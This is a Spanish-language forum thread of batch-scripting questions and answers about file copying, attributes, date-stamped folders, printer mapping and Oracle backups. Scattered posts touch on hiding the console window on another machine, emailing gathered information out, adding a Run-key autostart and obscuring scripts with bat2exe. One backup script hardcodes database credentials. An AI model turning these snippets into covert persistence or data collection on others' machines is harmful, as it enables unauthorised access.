Publicado por: billyboca en 2 Julio 2004, 04:22 am
SOPLO!!!
solicito tu yuda nuevamente :-[
use el comando XCOPY com ome recomendaste...y todo v muy bien...el unico problema que se me presenta es que luego de copiar los archivos...carpetas...y subcarpetas...cuando entro al explrador de windows....algunas carpetas no las veo...pero si escribo la ruta en la barra de direcciones....las veo perfectamente.... NO ENTIENDO COMO PUEDE PASAR ESO :o :o :o :o

agradezco tu ayuuda anterior y la que le das a todos ;D
adiooooooossssssssss


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 2 Julio 2004, 05:43 am
Eso no tiene que ver con este tema.

Tu problema es un problema de windows y probablemente se debe a que necesitas hacer scandisk o quizá esas carpetas están marcadas como ocultas.

Si hiciste como te dije esas carpetas están ahí seguro. Si tienes problemas postea en el foro de windows para que no se nos  lie una cosa con otra.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: peterax en 29 Julio 2004, 19:04 pm
Hola a todos soy nuevo en este foro y quisiera preguntarles como puedo hacer en mi archivo .bat que me lea de un fichero de configuracion el cual consta por campos o columnas.
ejemplo

pedro      342       caramelo     casa       args


quisiera que me el script me almacenara en 5 variables el contenido de cada campo.
Esto lo tendria que hacer para cada registro.

Espero que me podais ayudar alguno, muchas gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: peterax en 29 Julio 2004, 19:58 pm
Se me olvidaba una duda muy muy importante.
Como se puede realizar en msdos un ps o un kill de un proceso????
existe alguna aplicacion que me almacene el resultado en un fichero, a parte de la de Ctr-alt-sup
Gracias a todos.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 20 Agosto 2004, 10:29 am
taskill  proceso.exe,  creo


Por cierto he aqui una aplicación,para que os limpieis
 de ***** el pc.

limpieza de temporales y demas hierbas

Código:
del "C:\Documents and Settings\aquitumismo\Cookies\index.dat" > NUL
del "C:\Documents and Settings\aquitumismo\Configuración local\Archivos temporales de Internet\Content.IE5\index.dat" > NUL
del "C:\Documents and Settings\aquitumismo\Configuración local\Historial\History.IE5\index.dat" > NUL

rd  /s/q "C:\Documents and Settings\aquitumismo\Configuración local\Archivos temporales de Internet\Content.IE5"  > NUL
rd  /s/q "C:\Documents and Settings\aquitumismo\Configuración local\Historial\History.IE5" > NUL
md   "C:\Documents and Settings\aquitumismo\Configuración local\Archivos temporales de Internet\Content.IE5"  > NUL
:D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: all en 29 Agosto 2004, 14:06 pm
 Que comandos podria emplear yo para que la ventana de msdos no saliera, y me refiero a algun comando en el .bat  y no en un acceso directo, ya que pienso ejecutar este en otra maquina.
 Muchas gracias de antemano
 ;) ;) ;) ;) ;)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TaN€R en 29 Agosto 2004, 14:55 pm
Creo que debes poner -h (modo oculto)
y naturalmente NO usar dos post y 2 secciones diferentes para
 una misma pregunta
saludos..


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: all en 30 Agosto 2004, 11:43 am
 Lo que paso man es que no habia visto este post, no obstante  para eso esta dudas generales para poner dudas que no sepamos  donde ponerlas.
 Eso mismo pense yo pero con -h no funciona, gracias de todos modos por el esfuerzo, por favor alguien que me de una mano, se lo agradeceria.
 Gracias de antemano


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: gperez en 2 Septiembre 2004, 03:32 am
Hola!
Haber si me puedes ayudar!

Estoy tratando de hacer un pequeño bat que verifique si existe un directorio y si no lo encuentra lo cree... no tengo ningun problema cuando no existe, el "problema" esta cuando si se encuentra el directorio, lo trata de creear y como ya esta me manda msg de directorio ya existe y se queda la ventana de DOS hasta que se cierre por el usuario...

Que me sugieres?
Gracias de antemano   ::)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 6 Septiembre 2004, 10:07 am
Hola

Código:
if exist archivo goto Existe
rem el archivo o directorio no existe
rem lineas
goto seguir

Existe:
rem el archivo o directorio existe
rem lineas

seguir:

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: gperez en 7 Septiembre 2004, 04:16 am
Muchas gracias Soplo, me es de mucha ayuda! :D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ¥0 en 11 Septiembre 2004, 17:32 pm
hola tengo una duda , me han dicho que yo puedo ocultar carpetas desde dos con un comando algo asi como -h y hacerlas visivles con algo asi como +h si es posible me gustaria saber si se podria hacer un bat que me oculte una carpeta y otro qu e la haga visible , desde ya gracias y disculpen las molestias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 12 Septiembre 2004, 05:28 am
Hola
El comando es attrib

ATTRIB destino +/-H +/-R +/-S +/-M
El atributo H es para poner o no oculto (hidden)
El atributo R es para poner o no solo lectura (Read only)
El atributo S es para indicar que es del sistema (system)
El atributo M es para ponerlo como modificado o no.

Para activar con el + y para desactivar con el -

Así si pones ATTRIB c:\*.exe +h +r estás poniendo todos los ejecutables de c:\ como ocultos y read only.

De puede aplicar a carpetas y lo que ellas contengan con /R
Attrib /r c:\*.exe -h -r

Si no pones ningún atributo entonces te muestra los que hay.
attrib c:\*.exe
Te muestra uno por uno los atributos que tiene puesto cada ejecutable de c:\

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: TatoCba en 30 Septiembre 2004, 23:30 pm
Hola, soy nuevo en el foro y tengo un pequeño problema, necesito copiar un archivo de una carpeta a otra, pero que se copie con un nombre distinto cada vez, como por ejemplo la fecha u hora del sistema.

Es posible hacer esto desde un archivo .bat??

gracias muchas


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: tofamojo en 2 Octubre 2004, 04:36 am
hola
me puede ayuda estoy haciendo pruebas para desinstalar un programa con un archivo . bat, pero no se utiliza el comando sabes hacer de el, uninst


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Lautaro87 en 3 Octubre 2004, 08:58 am
para copiar subcarpetas utiliza el comando Xcopy.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: zoldic en 5 Octubre 2004, 01:06 am
hola tengo una pregunta
yo quiero hacer un bat que me deje formatear una unidad luego me deje eleguir desde que unidad de cd quiero copiar archivos y luego quiero que me los copie y para terminar me deje ejecutar un programa de los archivos que me copio??

se puede realizar eso por que yo lo intente pero parece que me equivoque help porfavor


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: MaurcioM en 7 Octubre 2004, 03:08 am
Hola a todos estoy haciendo un bat que me permita crear por ejemplo 20 carpetas desde el 100 al 120, osea una carpeta se llamara 100,102,103,104.....120 como puedo trabajar incrementando esto e probado con lo siguiente sin exito:

@echo off
set /n contador_carpeta=100

:volver
contador_carpeta=contador_carpeta + 1
md d:\%contador_carpeta%
if %contador_carpeta==120
(goto fin) else (
               goto volver)

:fin

Porfavor espero sus comentarios, a mi error, :-[ gracias.-


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 8 Octubre 2004, 05:32 am
Hola
Citar
necesito copiar un archivo de una carpeta a otra, pero que se copie con un nombre distinto cada vez, como por ejemplo la fecha u hora del sistema.

El comando COPY o XCOPY admiten los parámetros ORIGEN y DESTINO donde el destino puede incluir un nuevo nombre
Código:
COPY C:\LEEME.TXT C:\MIS DOCUMENTOS\LEEME2.TXT

Esto no funciona si son archivos múltiples. En este caso habría que hacer un bucle for y para cada archivo hacer un copy.

Citar
yo quiero hacer un bat que me deje formatear una unidad luego me deje eleguir desde que unidad de cd quiero copiar archivos y luego quiero que me los copie y para terminar me deje ejecutar un programa de los archivos que me copio??
Código:
@echo off
rem %1 es la unidad que quiero formatear. Por ejemplo A:
rem origen es el lugar del que quiero copiar archivos
format %1
echo "A -> copiar desde la unidad C
echo B -> copiar desde la unidad D
choice "Opción? " AB
if errorlevel 1 then set origen="c:\"
if errorlevel 2 then set origen=d:\"
copy %origen%mi_carpeta\*.* %1
echo "Deseas ejecutar el archivo X.EXE S/N? SN
if errorlevel 1 then %1\X

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Ernst_74 en 9 Octubre 2004, 03:13 am
Citar
y como seria para borrar una clave del registro?

Con esto he podido borrar y agregar valores al registro, espero que te sirva.

Código:
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Nombre_Del_Valor /t REG_EXPAND_SZ /d "Ruta_Hacia_el_archivo"

saludos...

PD:Muy buen manual soplo ;)
Citar



Buen ejemplo SpeDhy!  Lo apliqué sobre la plataforma Win XP.
Querría saber si conoceis algún comando similar a REG pero para la plataforma Windows2000?? 

Saludos desde Argentina!!

 8) Ernst_74  8)

PD: asiento lo antes dicho ...  Muy buen manual soplo  ;D


Título: Enviar datos al correo
Publicado por: jimros en 12 Octubre 2004, 02:04 am
Hola, me gustaría saber como puedo enviar un correo desde un bat, básicamente es para obtener información y luego enviármela al correo, he esta leyendo un poco, pero no puedo encontrar solución, creo que es con telnet, pero no me conecta con el servidor, o siempre algo sucede que el correo no llega, estuve viendo algo de perl, y tiene una linea que esta muy buena, sendmail o algo así, se puede hacer algo así con un bat. Saludos



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: nastonefasto en 15 Octubre 2004, 19:26 pm
Hola, como puedo crear un bat que me borre los ficheros de un directorio con mas de una semana de antiguedad.
Gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: MrF0t0 en 22 Octubre 2004, 07:21 am
Muy buenas, soy nuevo pero he leido una gran parte de este foro de .BAT puesto que me toca luchar con ello.

Mi duda es la siguiente....

Hay alguna manera de proteger un bat, convertirlo a otro formato ilegible, o hacerlo prácticamente invisible para los usuarios? Si no se puede evitar que se vea el contenido, algún truco que les cueste lo suyo verlo.

Gracias y un saludo a todos...  :P


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 22 Octubre 2004, 08:13 am
Hola
Puedes descargarte bat2com o bat2exe que convierte un fichero bat en un exe y ahora que miren lo que hay dentro.

Un saludo



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: xachillo en 26 Octubre 2004, 01:47 am
Hola:

Estoy buscando información de como poder redirigir el puerto lpt1 para que me imprima en lpt2, en el mismo equipo. He estado buscando por internet y no doy encontrado ningun comando de Msdos que haga exactamente eso. Que por defecto un programa basado en Msdos me imprima directamente en lpt2. Por lo que tengo leido creo que tengo crear un bat, pero no estoy seguro. Existe el comando mode para redirigir el puerto pero me parece que solo reirige a puertos com. Y ese no es mi caso.

Un saludo y espero que alguien responda mi post.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: MrF0t0 en 26 Octubre 2004, 08:03 am
Muchas gracias Soplo, buscaré el programilla y me pegaré con el, pero es justo lo que necesitaba.

Muchas gracias y que disfrutes el próximo largo fin de semana...


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: LicMendoza en 17 Noviembre 2004, 07:58 am
Estimados Amigos:

Me pueden ayudar, estoy creando un archivo .BAT para borrar los archivos de una carpeta y tengo este problema, cuando lo ejecuto siempre me pregunta si estoy seguro de borrarlos "ARE YOU SURE (Y or N) como puedo hacer para que no me lo pregunte y sea automático el borrar los archivos????
Gracias..


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: acostag en 17 Noviembre 2004, 12:58 pm
LicMendoza

yo tengo un batch donde borro y copio varios archivos diarios
y la instruccion que pongo es esta...

Echo Y|del  c:\paso\*.txt

has pruebas  y nos avisas..

saludos
 ::)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jvchino en 17 Noviembre 2004, 17:24 pm
echo S | del <ruta>*.* >nul   (Para DOS en castellano)

echo Y | del <ruta>*.* >nul   (Para DOS en ingles)


Donde: Ruta: ruta completa de la carpeta cuyos archivos desees borrar. 
Ejm:
echo S | del C:\juegos\viejos\*.* >nul


Saludos.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: barbas en 17 Noviembre 2004, 20:16 pm
Tengo una duda con el comando for , en la explicacion aparece el ejemplo
FOR %%x IN (texto1.txt texto2.txt texto3.txt) do delete %%i
pero yo quiero hacer un bucle que dentro del for haya distintas ordenes, como
FOR %%x IN (texto1.txt texto2.txt texto3.txt) do delete %%i
copy *.txt
dir
 y ahora acabar el bucle
pero no se como hacerlo.  Si pongo la sentencia en la siguiente linea me kaska el bat, y si lo pongo a continucaion tambien, he probado con ; ..., pero no lo consigo

Gracias por adelantado


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: barbas en 17 Noviembre 2004, 21:23 pm
Ya lo he descubierto, que chorrada, solo hay que poner parentesis
for ........... do (
sentencia 1
sentencia 2
sentencia 3
)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: CapNida en 18 Noviembre 2004, 05:06 am
Hola a todos.

Necesito hacer una copia de unos archivos de un ordenador a otro cada vez que se arranque el ordenador.
Los ordenadores estan en red. He visto que se podia acceder por el nombre NETBIOS, pero no he conseguido hacerlo.
En resumen, me gustaria copiar unos archivos de una ruta de red, por ejemplo \\Control\Carpeta\archivo.txt a otra carpeta local, por ejemplo c:\seguridad\.
Espero que me puedan ayudar a hacer un .bat para realizar esta accion.
Gracias de antemano.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: loissolrac en 18 Noviembre 2004, 09:03 am
Buenas a todos:

Estoy intentando hacer un fichero en perl en un sistema remoto con el comando echo, de la siguiente manera              echo ftp->net::ftp.... >> ftp.pl           pero el primer >, no me lo permite por indicar salida a fichero, y lo que obtengo en el fichero creado ftp.pl es solo    ftp-    y me falta todo lo siguiente   …>net::ftp...., y es básico para mi objetivo, como puedo realizarlo?
Gracias por anticipado
 ???


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: loissolrac en 19 Noviembre 2004, 06:29 am
Bueno por fín lo encontré sería:
...ftp-^>^... y aparecería como ftp->

 :P


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: echc en 26 Noviembre 2004, 07:21 am
Hola a todos, y a ver si alquien puede ayudarme.

Mi problema es el siguiente: Tengo varios cientos de archivos *.zip cada uno de los cuales contiene un único elemento a descomprimir.

Necesito encontrar la manera de descomprimirlos todos de una tacada y, además, renombrar cada archivo descomprimido añadiéndole a su propio nombre el del archivo zip correspondiente.

Estuve dándole vueltas a la ayuda de línea de comandos de Win Xp y a los viejos libros del DOS, pero no veo la forma de conseguirlo.

Saludos y gracias de antemano.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: luna negra en 29 Noviembre 2004, 19:55 pm
Hola, yo soy nueva en esto de la progrmación batch, y la verdad es que no tengo ni idea, pero necesito hacer un proceso .bat a una hora determinada, por ejemplo a media noche, y todos los días. El cual haga un barrido de una consulta sql en una base de datos y si encuentra respuesta mandar un correo a la persona que ejecutó la consulta.

Si alguien pudiera ayudarme, es importante, gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: pebre en 10 Diciembre 2004, 05:55 am
Hola! Tengo un bat que hace backup de una base de datos oracle, esto genera un archivo (*.dmp), mi pregunta es:
como puedo hacer para que se adicione por ejemplo la fecha al nombre del archivo cada vez que se ejecute el .bat ?

ej.  nombrearchivo041204.dmp   ;)

Soy nuevo en programacion bat.
Gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: OutShell en 14 Diciembre 2004, 22:41 pm
Hola a todos. Soy nuevo por aquí y veo que hay un gran nivel, a ver si me puedo pasar más a menudo. Bueno, y a lo que iba, a ver si me podeis solucionar una duda. Me gustaría hacer un script batch que cree de forma automática un directorio que por nombre tenga la fecha del día en que ejecutamos el archivo .bat, pero no encuentro la forma de hacerlo, seguro que alguno se le ocurre algo. Muchas gracias.

Un saludo.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ceo en 21 Diciembre 2004, 04:15 am
 :)
Hola a todos.
Necesito ayuda con lo siguiente: quiero hacer un bat que cree una carpeta cuyo nombre sea la fecha y hora del sistema operativo.  Alguien tiene idea de como se hace?.  Gracias por sus comentarios.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: FiReBlAdE2 en 24 Diciembre 2004, 02:52 am
solo funciona para w2k/xp...pq utiliza las extensiones de los comandos de consola y de las variables de entorno; espero que te sirva...

@echo off
cmd /v:on
date /t > .\mio.txt
time /t >> .\mio.txt

for /f  "usebackq tokens=1,2"  %%i in (`type .\mio.txt`) do set mifecha=%%i %%j !mifecha!

mkdir %mifecha%


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: OutShell en 24 Diciembre 2004, 04:11 am
Bueno, pues durante el día de hoy encontré la solución a mi problema, aunque es un poco más drástica que la que acaba de publicar FiReBlAdE2, pero a cambio funciona indistintamente en windows 2k/xp y en 9x  ;).

Lo primero (solo para windows 9x) debemos crear un archivo que simule a la tecla intro, para esto hacemos lo siguiente:

copy con "nombre de archivo"

y pulsamos intro 2 veces el intro y luebo Ctrl+z y otra vez al intro, de esta forma se nos crea un archivo que ocupa 2 bytes y que nos va a servir para simular la tecla intro. Imaginemos que este archivo se va a llamar "intro.txt", luego el codigo sería este:

echo off
cls
set %1
set dia=00
set mes=00
set año=00
if %OS% == Windows_NT goto winnt
goto win9x
:winnt
date /t > date.txt
goto dia
:win9x
date <intro.txt |find "actual" >date.txt
goto dia
:dia
find " 01/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=01
find " 02/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=02
find " 03/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=03
find " 04/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=04
find " 05/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=05
find " 06/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=06
find " 07/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=07
find " 08/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=08
find " 09/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=09
find " 10/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=10
find " 11/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=11
find " 12/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=12
find " 13/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=13
find " 14/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=14
find " 15/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=15
find " 16/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=16
find " 17/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=17
find " 18/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=18
find " 19/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=19
find " 20/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=20
find " 21/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=21
find " 22/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=22
find " 23/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=23
find " 24/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=24
find " 25/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=25
find " 26/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=26
find " 27/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=27
find " 28/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=28
find " 29/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=29
find " 30/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=30
find " 31/" <date.txt
if errorlevel 0 if not errorlevel 1 set dia=31
:mes
find "/01/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=01
find "/02/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=02
find "/03/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=03
find "/04/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=04
find "/05/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=05
find "/06/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=06
find "/07/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=07
find "/08/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=08
find "/09/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=09
find "/10/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=10
find "/11/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=11
find "/12/" <date.txt
if errorlevel 0 if not errorlevel 1 set mes=12
:año
find "2004" <date.txt
if errorlevel 0 if not errorlevel 1 set año=04
find "2005" <date.txt
if errorlevel 0 if not errorlevel 1 set año=05
find "2006" <date.txt
if errorlevel 0 if not errorlevel 1 set año=06
:carpeta
cls
md %1%dia%-%mes%-%año%
:end

Se podría depurar un poco más, pero para lo que yo quería sobra  ;D. La primera variable es para poder poner la ruta donde queremos que se cree la carpeta, por ejemplo imaginemos que el archivo .bat se llama fecha:

fecha c:\dias\

de esta forma se crearía una carpeta de nombre 00-00-00 en la carpeta c:\dias, con lo que a día de hoy se quedaría así:

c:\días\23-12-04\

Espero que le sirva a lguien.

Un saludo.


Título: Ayuda...
Publicado por: jhackes en 2 Enero 2005, 15:23 pm
Y BUENO EL CODIGO que LES PONGO AHORA NO ES DE UN VIRUS NI MUCHO MENOS PERO TAMBIEN ES DE UN BAT, ASI que LO PONGO Y DESPUES EXPLICO MI PROBLEMA:

Código:

@rem ServAnalizer.bat V 0.1
@echo off
@cls
@set host=127.0.0.1
@set name=Desconocido
@set existe=si

@rem especificaron un host??
 @if "%1"=="" goto shost
 @set host=%1

@rem existe el hot??
 @PING %host% | FIND "TTL=" > nul
 @if errorlevel 1 set existe=no
 @if "%existe%"=="no" goto snoexiste

@rem tomamos solo el nombre
@for /f "delims=9*" %%n in ('nslookup %host% ^| FIND ^"Nombre:  ^"') do @set name=%%n
@echo Analizando, %name%
@pause
@goto out

@rem Los mensajes de salida y error
 :shost
  @echo Ocurrio un error, ud no ha especificado el host a analizar :(
  @goto out
 :snoexiste
  @echo El host que ud especifico no existe o esta apagado.
  @goto out
 :out
 


EL PROBLEMA ESTA AKI:
Código:

@for /f "delims=9*" %%n in ('nslookup %host% ^| FIND ^"Nombre:  ^"') do @set name=%%n
@echo Analizando, %name%
 


YA que LA SALIDA AL PASAR POR EJEMPLO, LA IP 216.239.39.99 ES:
Analizando, Nombre: google.com

CUANDO DEBERIA SER:
Analizando, google.com

Y PUES NO ENTIENDO POR que NO ME FUCIONA CON LA OPCION "tokens=9*", que INDICA LO que SE PASA AL FOR, SOLO FUNCIONA CON EL "delims=9*" Y NO DEBERIA DE SER ASI, POR que "delims" INDICA LOS SEPARADORES ENTRE LOS tokens..

Gracias, de ante mano.. 

Saluditops!!! & bytes!!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 12 Enero 2005, 08:16 am
Hola

Citar
Hola! Tengo un bat que hace backup de una base de datos oracle, esto genera un archivo (*.dmp), mi pregunta es:
como puedo hacer para que se adicione por ejemplo la fecha al nombre del archivo cada vez que se ejecute el .bat ?
Dispones de la variable de entorno %date% que te devuelve la fecha del sistema así que la cosa sería algo como esto:
Código:
ren *.dmp %date%*.dmp

Citar
Me gustaría hacer un script batch que cree de forma automática un directorio que por nombre tenga la fecha del día en que ejecutamos el archivo .bat
Utilizando la misma variable:
Código:
md %date%

Citar
quiero hacer un bat que cree una carpeta cuyo nombre sea la fecha y hora del sistema operativo.  Alguien tiene idea de como se hace?. 

Pues igual. Con las variables %date% y %time%
Código:
md %date%_%time%

Un saludo



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: pato99 en 14 Enero 2005, 19:40 pm
Hola estuve examinando tu codigo del programa para obtener la fecha y hora y concretamente la linea

for /f  "usebackq tokens=1,2"  %%i in (`type .\mio.txt`) do set mifecha=%%i %%j !mifecha!

Me podrías explicar para que usas  !mifecha! y como funciona, creo que sirve para que vaya actualizando el valor de la variable dentro del bucle pero no lo tengo muy claro

Muchas gracias a todos por vuestros aportes, espero colaborar en lo que pueda

Citar


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Helga en 15 Enero 2005, 01:42 am
Hola a todos!!, Espero me puedan ayudar con mi problema...
Estoy haciendo un script .bat, para redireccionar un puerto y poder conectar una impresora que se encuentra en red.
Estuve buscando información y encontre que se supone me debería funcionar el siguiente comando:
net use lpt1:\\nombreequipodondeestalaimpresora\nombreimpresora
estoy haciendo esto en windows server 2003, y resulta que tiene otra configuracion de puertos, entonces yo puse el comando de la siguiente manera:

net use TS007:\\nombreequipodondeestalaimpresora\nombreimpresora
pero no me funciona.
Alguien sabe cual es el error que estoy cometiendo, cuando ejecuto esto me aparece el siguiente error:
error de sistema 67: No se encuentra el nombre de red especificado.

Tengo que agregar algo más al archivo.bat o que?
Por favor, agradecería mucho su ayuda :'(
De ante mano muchas gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Ladicita en 16 Enero 2005, 01:57 am
Tewngo una duda...
Puedo enviar emails atraves de los BATS?
Me gustaria saber ...Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ed-C en 19 Enero 2005, 10:10 am
Hola a todos

Lo primero dar una felicitacion tanto a los moderadores del foro como a los usuarios que ayudan con este foro.

Dicho esto explico mi duda, necesito ayuda con un ejercicio para crear un fichero *.bat estuve buscando por el foro si existia una sección de programacion MSDOS, como no la encontre dude entre ponerlo en Dudas en general o Programacion general, al final decidi ponerlo aqui ya que lo vi algo mas relacionado ... o eso me indico mi inculturilla en el mundo de la creacion de ficheros *.bat Luego pense lo posteo dentro de ejercicios o no??? al final decidi que si y si mi decision fue erronea pido disculpas y que un moderador traslade el mensaje a el lugar donde mejor este. Gracias de antemano.

Aqui os dejo el enunciado del ejercicio en su totalidad:

Citar
Realizar un fichero BAT llamado SISTEMAS.BAT con el siguiente menú y que realice las opciones que se especifican.

MENU PRINCIPAL

1. Utilidades del sistema
2. Utilidades de ficheros
3. Salir al S.O

Desde este fichero se llama a otros dos ficheros *.bat llamados SISTEMA.BAT y FICHEROS.BAT
SISTEMA.BAT: este fichero sacara en pantalla el siguiente menú y realizara las operaciones que se especifican a continuación:


MENU DEL SISTEMA

A. Actualizar y visualizar la fecha del sistema
B. Visualizar las caracteristicas del sistema
C. Visualizar la hora del sistema
D. Analizar los problemas del disco duro
E. Salir al menú principal

FICHERO.BAT: este fichero sacara en pantalla el siguiente menú y realizara las siguientes operaciones:

MENU DEL FICHERO
A. Visualizar el directorio de la unidad determinada
B. Visualizar el contenido de un fichero paginado
C. Renombrar un fichero
D. Copiar un fichero
E. Borrar varios ficheros
F. Salir al menu principal

Elige la opción deseada

Gracias de antemano. Espero contestacion :D


NOTA:Encontre a posteriori esta sección del foro pero ya habia preguntado en la sección de programacion ejercicios porque hice la busqueda de temas en vez de por bat msdos por ejercicios msdos, asi que si los moderadores quereis borrar uno (lo veo logico) decicdir donde esta mejor planteada la duda, perdon por el duplicado del mensaje y gracias de antemano


Título: TUTORIAL PROGRAMACION BAT
Publicado por: jorges en 19 Enero 2005, 20:51 pm
Saludos a todos.
Hay alguna forma de automatizar lo siguiente :

-----------------------------------
move a:\archivo C:\WINDOWS\Escritorio\Carpeta\Int\

cd C:\WINDOWS\Escritorio\Carpeta\Int\

if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.413
ren archivo archivo.414
if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.414
ren archivo archivo.415
if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.415
ren archivo archivo.416
if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.416
ren archivo archivo.417
if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.417
ren archivo archivo.418
if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.418
ren archivo archivo.419
if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.419
ren archivo archivo.420
if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.420
ren archivo archivo.421
if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.421
ren archivo archivo.422
etc., etc., etc.

start C:\WINDOWS\Escritorio\Carpeta\Int
-----------------
Gracias



Título: Como crear un respaldo con nombre cambiante
Publicado por: Peritintin en 20 Enero 2005, 05:03 am
Hola, recien me he registrado, he mirado las dudas de los nombres cambiantes, espero que les sea de utilidad el sigueinte bat

echo off
set ndia=
set dia=
set mes=
set año=
set desal=
set hora=
set minuto=
set meridiano=
set separa=-
set datos=
set bitac=

for /f "tokens=1-4 delims=/ " %%a in ('date /t') do (set ndia=%%a& set dia=%%b& set mes=%%c& set año=%%d)
set desal=fecha%dia%%mes%%año%

for /f "tokens=1-3 delims=: " %%x  in ('time /t') do (set hora=%%x& set minuto=%%y& set meridiano=%%z)
set desal=%desal%%separa%%hora%%minuto%%meridiano%
set datos=%desal%.dmp
set bitac=%desal%.log

exp system/system@conexionoracle GRANTS=Y ROWS=Y STATISTICS=NONE file=f:\backups\%datos% log=f:\backups\%bitac% owner=SYSSCG

IF ERRORLEVEL 0 goto compacta
goto error

:compacta
winrar A %desal% %datos% %bitac%
if errorlevel 0 goto mueve
goto error1

:mueve
move %desal%.rar e:
if errorlevel 0 goto todook

:todook
cls
echo todo bien!!!!





"El ejemplo es una orden en silencio" B.P.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Peritintin en 20 Enero 2005, 05:13 am
:)
Hola a todos.
Necesito ayuda con lo siguiente: quiero hacer un bat que cree una carpeta cuyo nombre sea la fecha y hora del sistema operativo.  Alguien tiene idea de como se hace?.  Gracias por sus comentarios.

Puede hacerse de la siguiente forma :

echo off
set ndia=
set dia=
set mes=
set año=
set desal=
set hora=
set minuto=
set meridiano=
set separa=-
set directorio=

